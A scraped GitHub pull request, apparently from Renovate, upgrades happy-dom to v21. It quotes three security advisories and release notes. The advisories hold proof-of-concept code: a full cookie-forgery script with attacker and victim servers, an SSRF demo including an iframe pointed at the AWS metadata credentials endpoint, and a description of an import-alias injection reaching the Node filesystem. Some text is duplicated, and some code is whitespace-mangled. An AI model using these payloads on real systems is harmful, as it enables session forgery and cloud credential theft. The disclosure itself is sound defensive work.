You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
{{ message }}
Repository navigation
chore(deps): update dependency happy-dom to v21 [security] - #559
The ESM compiler in [email protected] does not validate imported local binding aliases before interpolating them into generated JavaScript.
As a result, an invalid ESM import alias can be transformed into a valid JavaScript destructuring default initializer and executed.
This appears to be an alternate injection path and incomplete remediation of GHSA-6q6h-j7hj-3r64 / CVE-2026-33943. The previous fix validates importName in the local export { ... } handler, but the named import handler still places an unvalidated alias directly into code context.
These issues were confirmed through the public Window and <script type="module"> APIs using the published happy-dom npm package. The PoC reaches the Node.js host process, obtains node:fs, and creates a proof directory on the host filesystem.
The ESM compiler was introduced by commit 7bc831df2, first released in v17.0.0. The vulnerable interpolation remains present through v20.14.5, the latest release at the time of testing.
Suggested affected range:
>= 17.0.0, <= 20.14.5
No patched version is currently available.
Preconditions
JavaScript evaluation is enabled with enableJavaScriptEvaluation: true.
Attacker-controlled HTML or module source is processed by Happy DOM.
This may affect SSR, preview, scraping, or testing services that evaluate externally supplied HTML.
Technical details
In packages/happy-dom/src/module/ECMAScriptModuleCompiler.ts, the named import handler splits an import specifier and extracts its alias:
constnameParts=part.trim().split(/\s+as\s+/);constalias=(nameParts[1]||nameParts[0]).replace(/["']/g,'');constname=nameParts[0].replace(/["']/g,'');if(alias&&name){properties.push({ name, alias });}
Unlike the patched export { ... } handler, the value of alias is not validated as a JavaScript identifier.
It is subsequently inserted directly into generated binding syntax:
Using a JSON module prevents the malicious alias from being emitted again in a later circular-import assignment, leaving the generated function syntactically valid.
Backtick strings also survive the existing quote removal. This allows the injected initializer to reach Node.js host APIs:
The existence of HAPPY_DOM_RCE_PROOF confirms that the expression injected through the import alias executed and reached the host filesystem.
The PoC was also verified inside a node:24-alpine Docker container, where it created:
/poc/HAPPY_DOM_RCE_PROOF
Impact
An attacker who can supply module source to an application that evaluates JavaScript through Happy DOM can cause syntactically invalid import declarations to be transformed into executable JavaScript.
This may bypass upstream syntax validation or application assumptions that malformed import clauses will be rejected.
The demonstrated payload reaches Node.js process and built-in modules. It can therefore be adapted to read or modify files, access environment data, or execute operating-system commands with the privileges of the Happy DOM host process.
This report uses a different parsing and code-generation path:
import{nameasmalicious_alias}from'./module';
The unvalidated value is the local import alias, and the injection occurs in a generated destructuring binding rather than the export assignment patched by CVE-2026-33943.
The issue remains reproducible in versions released after the CVE-2026-33943 fix, including 20.14.5.
Suggested fix
Validate the imported local binding before placing it into code context. The existing VALID_VARIABLE_NAME_REGEXP can be reused:
- if (alias && name) {+ if (alias && name && VALID_VARIABLE_NAME_REGEXP.test(alias)) {
A regression test should compile and execute the malicious import declaration, then verify that the initializer was not evaluated.
This change was tested locally. The focused ECMAScriptModuleCompiler test suite passes with 30 tests, and ESLint reports no errors.
For additional hardening, generated property keys should use JSON.stringify() instead of manual quote interpolation.
A cookie-scoping bug in happy-dom lets an attacker origin set cookies that a victim origin then receives, diverging from browser semantics.
Details
happy-dom matches Domain=example.com against notexample.com (endsWith without a DNS-label boundary), diverging from browser semantics (verified 20.11.6 npm latest: cookieMatchesURL(Domain=example.com, url=http://notexample.com) = true). Relevant where happy-dom is used for SSR/prerender cookie handling. Matching in src/cookie/CookieContainer.ts.
PoC
Run:
node poc-happydom-cookie-domain.js
Full proof-of-concept source (poc-happydom-cookie-domain.js):
// PoC: happy-dom cookie-domain scoping gap -> cross-origin cookie injection / session fixation// Chain: app (window at http://localhost:PORT2) fetches attacker server (http://127.0.0.1:PORT1)// -> attacker Set-Cookie with Domain=localhost (a host that is NOT a suffix of 127.0.0.1)// -> happy-dom stores it (a real browser rejects: RFC 6265 §5.3.6-7 + PSL)// -> app's same-origin fetch to http://localhost:PORT2/api/account carries the forged cookie// Run: cd C:/Users/rncb0/AppData/Local/Temp/0day && node poc/poc-happydom-cookie-domain.jsconsthttp=require('http');const{ Window }=require('happy-dom');constATK_PORT=19311;// attacker server, 127.0.0.1constVIC_PORT=19312;// victim server, localhostletvictimReceivedCookies=[];letattackerSetCookie=`session=FORGED_BY_ATTACKER; Domain=localhost; Path=/; SameSite=None; Secure`;constattacker=http.createServer((req,res)=>{if(req.method==='OPTIONS'){// CORS preflight (happy-dom enforces same-origin policy with a preflight; the// attacker trivially answers it — an attacker-controlled server always can)res.writeHead(204,{'Access-Control-Allow-Origin': '*','Access-Control-Allow-Methods': 'GET, OPTIONS','Access-Control-Allow-Headers': '*'});res.end();return;}res.writeHead(200,{'content-type': 'image/gif','Access-Control-Allow-Origin': '*',// Attacker claims Domain=localhost even though it is serving from 127.0.0.1.// A browser MUST ignore this cookie (RFC 6265: domain-attribute not a domain-match of// the request-host; localhost is also on the Mozilla PSL).'Set-Cookie': attackerSetCookie});res.end('GIF89a');});constvictim=http.createServer((req,res)=>{victimReceivedCookies.push({path: req.url,cookie: req.headers['cookie']||null});res.writeHead(200,{'content-type': 'application/json'});res.end(JSON.stringify({ok: true,user: 'alice'}));});functionsleep(ms){returnnewPromise((r)=>setTimeout(r,ms));}asyncfunctionrunScenario(scenario){victimReceivedCookies=[];constwin=newWindow({url: `http://localhost:${VIC_PORT}/`,settings: {enableJavaScriptEvaluation: true,suppressInsecureJavaScriptEnvironmentWarning: true}});try{if(scenario==='no-plant-control'){// Control: app NEVER contacts attacker -> victim must receive NO cookieawaitwin.fetch(`http://localhost:${VIC_PORT}/api/account`);}elseif(scenario==='honest-domain-control'){// Control: attacker sets Domain=127.0.0.1 (its own host, honest)// -> cookie must NOT leak to localhost victimattackerSetCookie=`session=FORGED_BY_ATTACKER; Domain=127.0.0.1; Path=/; SameSite=None; Secure`;awaitwin.fetch(`http://127.0.0.1:${ATK_PORT}/plant`);awaitwin.fetch(`http://localhost:${VIC_PORT}/api/account`);}else{// attack: app fetches attacker content (scraping/SSR/third-party resource)awaitwin.fetch(`http://127.0.0.1:${ATK_PORT}/plant`);awaitwin.fetch(`http://localhost:${VIC_PORT}/api/account`);}awaitsleep(150);returnvictimReceivedCookies;}finally{win.happyDOM.abort();}}asyncfunctionmain(){awaitnewPromise((r)=>attacker.listen(ATK_PORT,'127.0.0.1',r));awaitnewPromise((r)=>victim.listen(VIC_PORT,'localhost',r));console.log('=== happy-dom cookie-domain scoping PoC ===\n');constattack=awaitrunScenario('attack');console.log('[ATTACK] app fetched attacker (127.0.0.1) then victim (localhost)');attack.forEach((e)=>console.log(` victim got ${e.path}: Cookie=${JSON.stringify(e.cookie)}`));constforged=attack.some((e)=>e.cookie&&e.cookie.includes('session=FORGED_BY_ATTACKER'));console.log(` -> forged cookie delivered to victim: ${forged ? 'YES (VULNERABLE)' : 'no'}`);constnoPlant=awaitrunScenario('no-plant-control');console.log('\n[CONTROL] app never contacts attacker');noPlant.forEach((e)=>console.log(` victim got ${e.path}: Cookie=${JSON.stringify(e.cookie)}`));consthonest=awaitrunScenario('honest-domain-control');console.log('\n[CONTROL] attacker sets honest Domain=127.0.0.1 only');honest.forEach((e)=>console.log(` victim got ${e.path}: Cookie=${JSON.stringify(e.cookie)}`));// unit proof: document.cookie setter also accepts non-suffix domains (browser rejects)constwin2=newWindow({url: `http://localhost:${VIC_PORT}/`,settings: {enableJavaScriptEvaluation: true,suppressInsecureJavaScriptEnvironmentWarning: true}});win2.document.cookie=`admin=1; Domain=com; Path=/`;// PSL public suffix!constreadBack=win2.document.cookie;console.log(`\n[UNIT] document.cookie = 'admin=1; Domain=com' -> read back: '${readBack}'`);console.log(` -> browser: REJECTED (public suffix); happy-dom: ${readBack.includes('admin=1') ? 'ACCEPTED' : 'rejected'}`);win2.happyDOM.abort();// unit proof: endsWith boundary bug (SameSite=None cookie -> sent to any host ending with the domain)const{default: CookieURLUtility}=require('happy-dom/lib/cookie/urilities/CookieURLUtility.js');constmatchesBoundary=CookieURLUtility.cookieMatchesURL({key: 'k',value: 'v',originURL: newURL('http://attacker.example/'),domain: 'example.com',path: '/',secure: true,sameSite: 'None'},newURL('https://notexample.com/'));console.log(`\n[UNIT] cookieMatchesURL(Domain=example.com, SameSite=None, url=http://notexample.com) = ${matchesBoundary}`);console.log(` -> 'notexample.com'.endsWith('example.com') is TRUE (no DNS-label boundary); browser: no match`);attacker.close();victim.close();process.exit(0);}main().catch((e)=>{console.error(e);process.exit(1);});
[UNIT] cookieMatchesURL(Domain=example.com, SameSite=None, url=http://notexample.com) = true
-> 'notexample.com'.endsWith('example.com') is TRUE (no DNS-label boundary); browser: no match
Impact
Cookie-scoping divergence / session forgery . Applications using happy-dom for SSR/prerender cookie handling can accept cookies from wrong origins. Affects happy-dom <= 20.14.5. Note: main pushback will be that happy-dom is a test DOM — state the SSR use case.
happy-dom v20.8.9 makes real server-side HTTP requests to arbitrary URLs when parsing HTML containing <iframe> or <link rel="stylesheet"> elements. This behavior is enabled by default (disableIframePageLoading: false, disableCSSFileLoading: false). When an application uses happy-dom to parse untrusted HTML on the server side, an attacker can trigger Server-Side Request Forgery by embedding these elements.
Affected Versions
happy-dom <= 20.8.9 (latest)
Vulnerable Behavior
By default, happy-dom has:
disableIframePageLoading: false — iframes fetch their src URL via real HTTP requests
disableCSSFileLoading: false — <link> stylesheets fetch their href URL via real HTTP requests
When untrusted HTML is parsed, these elements trigger real server-side HTTP requests to whatever URLs are specified. No special configuration or opt-in is needed.
Proof of Concept
Verified test (attacker server receives requests):
consthttp=require('http');const{ Window }=require('happy-dom');// Start attacker serverconstsrv=http.createServer((req,res)=>{console.log(`SSRF HIT: ${req.method}${req.url}`);res.writeHead(200,{'Content-Type': 'text/html'});res.end('<html><body>stolen</body></html>');});srv.listen(9995,()=>{// iframe SSRF — happy-dom makes a real GET requestconstwin1=newWindow({url: 'http://localhost'});win1.document.write('<html><body><iframe src="http://127.0.0.1:9995/iframe-ssrf"></iframe></body></html>');// stylesheet SSRF — happy-dom makes a real GET requestconstwin2=newWindow({url: 'http://localhost'});win2.document.write('<html><head><link rel="stylesheet" href="http://127.0.0.1:9995/stylesheet-ssrf"></head><body></body></html>');});
Test output:
SSRF HIT: GET /iframe-ssrf
SSRF HIT: GET /stylesheet-ssrf
Both requests confirmed received by the attacker server. Tested on happy-dom v20.8.9, Node.js v22.17.0, macOS.
Cloud metadata attack scenario:
const{ Window }=require('happy-dom');constwin=newWindow({url: 'http://localhost'});// Attacker-controlled HTML triggers fetch to AWS metadata endpointwin.document.write('<html><body><iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/"></iframe></body></html>');
An attacker could embed <iframe> or <link rel="stylesheet"> elements in untrusted HTML to make Happy DOM send HTTP requests from the server to attacker-chosen URLs, including internal services. This could allow access to otherwise unreachable endpoints or trigger unintended actions, depending on the application and its network access.
The settings property disableCSSFileLoading has been deprecated
If you don't believe that you are at risk, you can keep the same behavior as in <=v20.14.6 by sending in { enableCSSFileLoading: true, enableIframePageLoading: true } as broswer settings (e.g. new Window({ settings }));
Change prototype of element to the custom element when upgraded to keep the reference - By @capricorn86 in task #2331
The previous solution replaced the element with the custom element and copied it's properties, but this made any reference to the original element invalid
Merging this PR will not cause a version bump for any packages. If these changes should not result in a new version, you're good to go. If these changes should result in a version bump, you need to add a changeset.
This PR includes no changesets
When changesets are added to this PR, you'll see the packages that this PR includes changesets for and the associated semver types
Comment @coderabbitai help to get the list of available commands.
This branch has not been deployed
No deployments
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
This PR contains the following updates:
^20.0.0→^21.0.0Happy DOM: Incomplete fix for CVE-2026-33943: unsanitized import alias leads to host code execution
CVE-2026-115895 / GHSA-834v-8h66-3h79
More information
Details
Summary
The ESM compiler in
[email protected]does not validate imported local binding aliases before interpolating them into generated JavaScript.As a result, an invalid ESM import alias can be transformed into a valid JavaScript destructuring default initializer and executed.
This appears to be an alternate injection path and incomplete remediation of GHSA-6q6h-j7hj-3r64 / CVE-2026-33943. The previous fix validates
importNamein the localexport { ... }handler, but the named import handler still places an unvalidatedaliasdirectly into code context.These issues were confirmed through the public
Windowand<script type="module">APIs using the publishedhappy-domnpm package. The PoC reaches the Node.js hostprocess, obtainsnode:fs, and creates a proof directory on the host filesystem.Confirmed affected versions
The PoC was directly tested against:
[email protected][email protected][email protected][email protected]The same PoC does not trigger on
[email protected].The ESM compiler was introduced by commit
7bc831df2, first released inv17.0.0. The vulnerable interpolation remains present throughv20.14.5, the latest release at the time of testing.Suggested affected range:
No patched version is currently available.
Preconditions
enableJavaScriptEvaluation: true.Technical details
In
packages/happy-dom/src/module/ECMAScriptModuleCompiler.ts, the named import handler splits an import specifier and extracts its alias:Unlike the patched
export { ... }handler, the value ofaliasis not validated as a JavaScript identifier.It is subsequently inserted directly into generated binding syntax:
Consider the following source:
This is invalid ECMAScript module syntax. Node.js rejects it at the
=token.Happy DOM instead transforms it into the equivalent of:
This generated JavaScript is valid. Because the imported JSON object does not contain a
missingproperty, the default initializer executes.The
with { type: 'json' }attribute is relevant because the compiler only generates its circular import resolver for ESM imports:Using a JSON module prevents the malicious alias from being emitted again in a later circular-import assignment, leaving the generated function syntactically valid.
Backtick strings also survive the existing quote removal. This allows the injected initializer to reach Node.js host APIs:
Proof of concept
The following PoC uses only the public Happy DOM API and performs a harmless filesystem action by creating a directory named
HAPPY_DOM_RCE_PROOF.1. Create
package.json{ "name": "happy-dom-import-alias-rce-poc", "private": true, "type": "module", "dependencies": { "happy-dom": "20.14.5" } }2. Create
dep.json{}3. Create
payload.mjsThis file is used as a control to demonstrate that a native ECMAScript parser rejects the source:
4. Create
poc.mjs5. Run the control test
Expected result:
This confirms that the source is not valid ESM.
6. Run the Happy DOM PoC
node poc.mjsExpected result:
The existence of
HAPPY_DOM_RCE_PROOFconfirms that the expression injected through the import alias executed and reached the host filesystem.The PoC was also verified inside a
node:24-alpineDocker container, where it created:Impact
An attacker who can supply module source to an application that evaluates JavaScript through Happy DOM can cause syntactically invalid import declarations to be transformed into executable JavaScript.
This may bypass upstream syntax validation or application assumptions that malformed import clauses will be rejected.
The demonstrated payload reaches Node.js
processand built-in modules. It can therefore be adapted to read or modify files, access environment data, or execute operating-system commands with the privileges of the Happy DOM host process.Relationship to CVE-2026-33943
CVE-2026-33943 covers expression injection through a local export declaration:
Its fix added identifier validation to the
importNameused by theexport { ... }handler:This report uses a different parsing and code-generation path:
The unvalidated value is the local import
alias, and the injection occurs in a generated destructuring binding rather than the export assignment patched by CVE-2026-33943.The issue remains reproducible in versions released after the CVE-2026-33943 fix, including
20.14.5.Suggested fix
Validate the imported local binding before placing it into code context. The existing
VALID_VARIABLE_NAME_REGEXPcan be reused:A regression test should compile and execute the malicious import declaration, then verify that the initializer was not evaluated.
This change was tested locally. The focused
ECMAScriptModuleCompilertest suite passes with 30 tests, and ESLint reports no errors.For additional hardening, generated property keys should use
JSON.stringify()instead of manual quote interpolation.Verification record
24.14.1[email protected]v20.14.50d4cdbe7442af49d16b49ddf1acf7cc9684ed31817.0.016.8.1Severity
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:HReferences
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
Happy DOM has cookie scope forgery: no DNS-label boundary on Domain= matching , attacker origin sets victim cookies
CVE-2026-118661 / GHSA-5fpq-26gf-qwcr
More information
Details
Summary
A cookie-scoping bug in happy-dom lets an attacker origin set cookies that a victim origin then receives, diverging from browser semantics.
Details
happy-dom matches Domain=example.com against notexample.com (endsWith without a DNS-label boundary), diverging from browser semantics (verified 20.11.6 npm latest: cookieMatchesURL(Domain=example.com, url=http://notexample.com) = true). Relevant where happy-dom is used for SSR/prerender cookie handling. Matching in src/cookie/CookieContainer.ts.
PoC
Run:
Full proof-of-concept source (poc-happydom-cookie-domain.js):
Observed output (verbatim, Node 24.15.0, Windows):
Impact
Cookie-scoping divergence / session forgery . Applications using happy-dom for SSR/prerender cookie handling can accept cookies from wrong origins. Affects happy-dom <= 20.14.5. Note: main pushback will be that happy-dom is a test DOM — state the SSR use case.
Severity
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:NReferences
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
Happy DOM: SSRF via iframe and link stylesheet when parsing untrusted HTML
CVE-2026-118660 / GHSA-c8p4-j97h-3vg8
More information
Details
Summary
happy-dom v20.8.9 makes real server-side HTTP requests to arbitrary URLs when parsing HTML containing
<iframe>or<link rel="stylesheet">elements. This behavior is enabled by default (disableIframePageLoading: false,disableCSSFileLoading: false). When an application uses happy-dom to parse untrusted HTML on the server side, an attacker can trigger Server-Side Request Forgery by embedding these elements.Affected Versions
Vulnerable Behavior
By default, happy-dom has:
disableIframePageLoading: false— iframes fetch theirsrcURL via real HTTP requestsdisableCSSFileLoading: false—<link>stylesheets fetch theirhrefURL via real HTTP requestsWhen untrusted HTML is parsed, these elements trigger real server-side HTTP requests to whatever URLs are specified. No special configuration or opt-in is needed.
Proof of Concept
Verified test (attacker server receives requests):
Test output:
Both requests confirmed received by the attacker server. Tested on happy-dom v20.8.9, Node.js v22.17.0, macOS.
Cloud metadata attack scenario:
Impact
<iframe src="http://169.254.169.254/...">fetches AWS/GCP/Azure metadataSuggested Fix
Change defaults to disable external resource loading:
Or add URL validation to block private IP ranges and cloud metadata endpoints before fetching.
Severity
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:NReferences
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
Release Notes
capricorn86/happy-dom (happy-dom)
v21.0.4Compare Source
👷♂️ Patch fixes
data:iframes cannot access their parent or top window - By @capricorn86v21.0.3Compare Source
👷♂️ Patch fixes
v21.0.2Compare Source
👷♂️ Patch fixes
v21.0.1Compare Source
👷♂️ Patch fixes
--cssand--iframefor enabling CSS and iframe loading to @happy-dom/server-renderer - By @capricorn86v21.0.0Compare Source
💣 Breaking Changes
<iframe>or<link rel="stylesheet">elements in untrusted HTML to make Happy DOM send HTTP requests from the server to attacker-chosen URLs, including internal services. This could allow access to otherwise unreachable endpoints or trigger unintended actions, depending on the application and its network access.disableCSSFileLoadinghas been deprecated<=v20.14.6by sending in{ enableCSSFileLoading: true, enableIframePageLoading: true }as broswer settings (e.g.new Window({ settings }));v20.14.6Compare Source
👷♂️ Patch fixes
v20.14.5Compare Source
👷♂️ Patch fixes
v20.14.4Compare Source
👷♂️ Patch fixes
v20.14.3Compare Source
👷♂️ Patch fixes
v20.14.2Compare Source
👷♂️ Patch fixes
getComputedStyle()- By @klaesra in task #2344v20.14.1Compare Source
👷♂️ Patch fixes
v20.14.0Compare Source
🎨 Features
v20.13.2Compare Source
👷♂️ Patch fixes
v20.13.1Compare Source
👷♂️ Patch fixes
v20.13.0Compare Source
🎨 Features
v20.12.2Compare Source
👷♂️ Patch fixes
v20.12.1Compare Source
🎨 Features
CSSStyleDeclaration- By @capricorn86 in task #2256CSSStyleDeclaration- By @capricorn86 in task #2256👷♂️ Patch fixes
v20.12.0Compare Source
🎨 Features
Animation,AnimationTimeline,DocumentTimelineandKeyframeEffect- By @capricorn86Element.animate()- By @capricorn86v20.11.15Compare Source
👷♂️ Patch fixes
v20.11.14Compare Source
👷♂️ Patch fixes
v20.11.13Compare Source
👷♂️ Patch fixes
v20.11.12Compare Source
👷♂️ Patch fixes
v20.11.11Compare Source
👷♂️ Patch fixes
v20.11.10Compare Source
👷♂️ Patch fixes
v20.11.9Compare Source
👷♂️ Patch fixes
v20.11.8Compare Source
👷♂️ Patch fixes
adoptedStyleSheetarray should be validated - By @capricorn86 in task #2315v20.11.7Compare Source
👷♂️ Patch fixes
Document.adoptedStyleSheetsandShadowRoot.adoptedStyleSheetsshould validate it's value - By @capricorn86 in task #2313v20.11.6Compare Source
👷♂️ Patch fixes
v20.11.5Compare Source
👷♂️ Patch fixes
querySelector<HTMLInputElement>(".my-input")) - By @cyphercodesv20.11.4Compare Source
👷♂️ Patch fixes
fetch()to match origins instead of host and protocol - By @rexxars in task #1490v20.11.3Compare Source
👷♂️ Patch fixes
v20.11.2Compare Source
👷♂️ Patch fixes
v20.11.1Compare Source
👷♂️ Patch fixes
v20.11.0Compare Source
🎨 Features
v20.10.6Compare Source
👷♂️ Patch fixes
v20.10.5Compare Source
👷♂️ Patch fixes
v20.10.4Compare Source
👷♂️ Patch fixes
v20.10.3Compare Source
👷♂️ Patch fixes
v20.10.2Compare Source
👷♂️ Patch fixes
v20.10.1Compare Source
v20.10.0Compare Source
🎨 Features
Configuration
📅 Schedule: (UTC)
🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.
♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.
🔕 Ignore: Close this PR and you won't be reminded about this update again.
This PR was generated by Mend Renovate. View the repository job log.